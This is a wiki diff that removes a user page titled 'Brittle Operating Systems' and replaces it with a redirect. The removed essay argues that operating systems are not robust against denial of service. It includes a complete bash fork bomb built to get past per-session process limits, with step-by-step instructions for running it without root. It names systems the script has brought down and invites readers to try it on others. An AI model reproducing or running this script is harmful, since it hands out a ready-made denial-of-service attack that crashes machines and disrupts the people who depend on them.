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| − | {{BenutzerSeitenNichtVeraendernWarnung|rdiez}}
| + | #REDIRECT [[Benutzer:Rdiez/PageRemoved]] |
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| − | = Brittle Operating Systems =
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| − | It's hard to believe how brittle modern Operating Systems still are. After years of development and refinement, you would expect most mainstream OSes to have reached a reasonable level of robustness and security. However, a simple [http://en.wikipedia.org/wiki/Fork_bomb fork bomb] easily brings most OSes down.
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| − | It is as if the concept of [http://en.wikipedia.org/wiki/Denial-of-service_attack denial of service] would not belong in the [http://en.wikipedia.org/wiki/Software_security software security] category. Apparently, [http://en.wikipedia.org/wiki/Responsiveness responsiveness] does not fit into the OS writers' idea of [http://en.wikipedia.org/wiki/Robustness_%28computer_science%29 software robustness] either.
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| − | Admittedly, the simplest standard ''fork bomb'' does not do the trick any more, as most OSes nowadays limit the maximum number of child processes per session. However, it takes about a minute to write an enhanced version that still works, here it is:
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| − | #!/bin/bash
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| − | ENABLE_BOMB=true
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| − | ENABLE_PRINT_LEN=false
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| − | TEST="ab"
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| − | bomb() {
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| − | if $ENABLE_BOMB; then
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| − | bomb &
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| − | fi
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| − | TEST="$TEST$TEST"
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| − | echo $TEST >/dev/null
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| − | echo >/dev/null
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| − | if $ENABLE_PRINT_LEN; then
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| − | echo "TEST string length: ${#TEST}"
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| − | fi
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| − | bomb
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| − | };
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| − | bomb
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| − | I left a little extra code inside so that you can comfortably experiment with it. Just save it to a file called "ForkBomb-WARNING-may-crash-your-computer.sh", start it as follows and watch your OS slowly grind to a halt:
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| − | bash ForkBomb-WARNING-may-crash-your-computer.sh
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| − | That's it. You don't need to be root or change any special system configuration setting.
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| − | I have seen that little script bring the following systems down:
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| − | * Apple OS X
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| − | * Microsoft Windows Vista (under Cygwin)
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| − | Please do [[Benutzer:rdiez|drop me a line]] if you try it on other OSes, so that I can update the list above. Did you find one that resists the script in its default configuration?
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